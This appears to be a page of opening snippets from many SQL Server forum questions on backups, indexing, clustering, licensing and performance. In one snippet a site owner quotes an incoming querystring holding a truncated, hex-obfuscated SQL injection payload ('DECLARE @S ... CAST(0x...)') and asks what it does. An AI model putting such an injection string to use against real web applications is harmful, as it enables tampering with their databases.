Say you need to put up a database for a Big Deal website, that's going
to get hit with a big peak load maybe once a month, like 50,000
transactions as near as simultaneously as you can handle.  And the
rest of the month, it may be ticking over a few dozen per second.

I'm having a problem enabling CLR for the .net framework 2 on 64-bit XP, can
anyone please help?
I am deploying SQL 2005 Express SP2 bootstrapped to my application, as part
of setup I create a database by running TSQL scripts against the server. In

I'm trying to create a new covering index on a table with ~1.1M rows.  I know
SQL 2005 has some nice online index creation features, but is there any way
to avoid the huge table lock during creation in SQL 2000?
I tried to create it this morning when usage was low, but it was ...

Will the increasing of database size affect the performance of application ?
Where can I get more information to improve performance of application ?
Regards,
Tee

I have a MSSQL 2000 system on a Windows 2000 server that backups of a
particular database fail.
Nonrecoverable I/O error occurred on file 'd:\data\database.mdf'
and I have enough space on the OUTPUT disk.

Hi friends,
How can I create ONE SQL Agent JOB That will 2 activities: (Using SQL
2005)
1) Backup a specified Database (Full Backup) and store the backup file

I have a SQL Server database server, member of a domain.
We use only Windows Integrated Authentication.
Now, we have some domain users that need to access our SQL Server, from
workstations not joined to the domain (member of workgroups).

Uh Oh. My server's been getting hit with these for weeks. Can anyone tell
what the code in the querystring is trying to do?
?o=asc;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C4152452040542056
41524348415228323535292C404320564152434841522832353529204445434C415245205461

My Previous thread for this error got archived. In nut shell, I ran the
checkalloc,checkcatalog, checkconstraints. I also ran checktable on all
tables. Everything was clean. I am still getting these errors. I am open to
any suggestions anybody might have. I am planning to open a ...

There are 2 tables in an application system.
The first table "grpmem" contains both group_id and member fields.
In the second table "ctct", it contains both data for Role and Member (First
Name and Last Name).

Two node cluster (Active/Passive) (SQL2000/WIN2K3).
What should the services (sqlservice and sqlagent) be set to (Automatic or
Manual) on the Active node?
What should the services (sqlservice and sqlagent) be set to (Automatic or

i have a question about the sqlio
suppose i have two external drives
x:\ has got the following result
xKB sequential IOs writing

Is there a way to change a SQL Server 2005 license key without doing a
reinstall?
Any help would be appreciated!

I have a field in SQL that contains email messages. I would like to extract
the FROM, SUBJ, and TO header data from the field. Here is an example:
Date: Thu, 23 Mar 2000 10:01:33 +0000^^From: John Doe abc@abc.com^^Subject:
Fun Time^^To: Jane Doe ldef@def.com^^

I am running SQL2000.  I received a notice that my drive W: was almost full.
I did not know drive W: was even being used.  It has a folder called SqlData
which has tempdb.mdf and templog.ldf in it.
Therefore we have W:\SqlData\tempdb.mdf at 1.2 GB and W:\SqlData\templog.ldf